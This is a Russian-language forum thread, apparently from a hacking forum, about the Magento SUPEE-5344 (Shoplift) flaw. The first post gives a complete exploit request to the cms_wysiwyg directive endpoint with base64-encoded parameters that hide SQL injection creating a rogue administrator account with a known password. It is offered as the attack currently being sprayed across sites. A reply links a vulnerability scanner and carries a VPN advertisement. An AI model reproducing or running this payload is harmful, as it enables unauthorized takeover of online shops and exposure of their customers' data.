Старый 26.04.2015, 17:55   #1
recfrf
 
Регистрация: 29.07.2010
Сообщений: 40
Репутация: 1
По умолчанию Magneto SUPEE-5344

То что сейчас активно спамят по данным blog.sucuri.net с ру ip=)

добавляет админа
PHP код:

___directive и filter base64

site
.com/index.php/admin/cms_wysiwyg/directive/?forwarded=1&___directive=e3tibG9jayB0eXBlPSdNYWdlX0FkbWluaHRtbF9CbG9ja19SZXBvcnRfU2VhcmNoX0dyaWQnIG91dHB1dD0nZ2V0Q3N2RmlsZSd9fQ==&filter=cG9wdWxhcml0eVtmcm9tXT0wJnBvcHVsYXJpdHlbdG9dPTMmcG9wdWxhcml0eVtmaWVsZF9leHByXT0wKTsgU0VUIEBTQUxUID0gJ3JwJzsgU0VUIEBQQVNTID0gQ09OQ0FUKE1ENShDT05DQVQoIEBTQUxUICwgJ3BhU1N3b3JkJykgKSwgQ09OQ0FUKCc6JywgQFNBTFQgKSk7IFNFTEVDVCBARVhUUkEgOj0gTUFYKGV4dHJhKSBGUk9NIGFkbWluX3VzZXIgV0hFUkUgZXh0cmEgSVMgTk9UIE5VTEw7IElOU0VSVCBJTlRPIGBhZG1pbl91c2VyYCAoYGZpcnN0bmFtZWAsIGBsYXN0bmFtZWAsYGVtYWlsYCxgdXNlcm5hbWVgLGBwYXNzd29yZGAsYGNyZWF0ZWRgLGBsb2dudW1gLGByZWxvYWRfYWNsX2ZsYWdgLGBpc19hY3RpdmVgLGBleHRyYWAsYHJwX3Rva2VuYCxgcnBfdG9rZW5fY3JlYXRlZF9hdGApIFZBTFVFUyAoJ0JhY2t1cCcsJ0V4dGVuc2lvbicsJ21BaWwnLCd1U2VyJyxAUEFTUyxOT1coKSwwLDAsMSxARVhUUkEsTlVMTCwgTk9XKCkpOyBJTlNFUlQgSU5UTyBgYWRtaW5fcm9sZWAgKHBhcmVudF9pZCx0cmVlX2xldmVsLHNvcnRfb3JkZXIscm9sZV90eXBlLHVzZXJfaWQscm9sZV9uYW1lKSBWQUxVRVMgKDEsMiwwLCdVJywoU0VMRUNUIHVzZXJfaWQgRlJPTSBhZG1pbl91c2VyIFdIRVJFIHVzZXJuYW1lID0gJ3VTZXInKSwnQmFja3VwJyk7 
recfrf вне форума   Ответить с цитированием
Старый 29.04.2015, 07:20   #2
omen666
 
Регистрация: 05.09.2014
Сообщений: 64
Репутация: 9
По умолчанию

тут можно чекнуть на уязвимость )
https://shoplift.byte.nl/scan/[DOMAIN]/[BACKEND]
__________________
Анонимный интернет без ограничений https://multi-vpn.biz

Последний раз редактировалось omen666; 29.04.2015 в 07:22..
omen666 вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot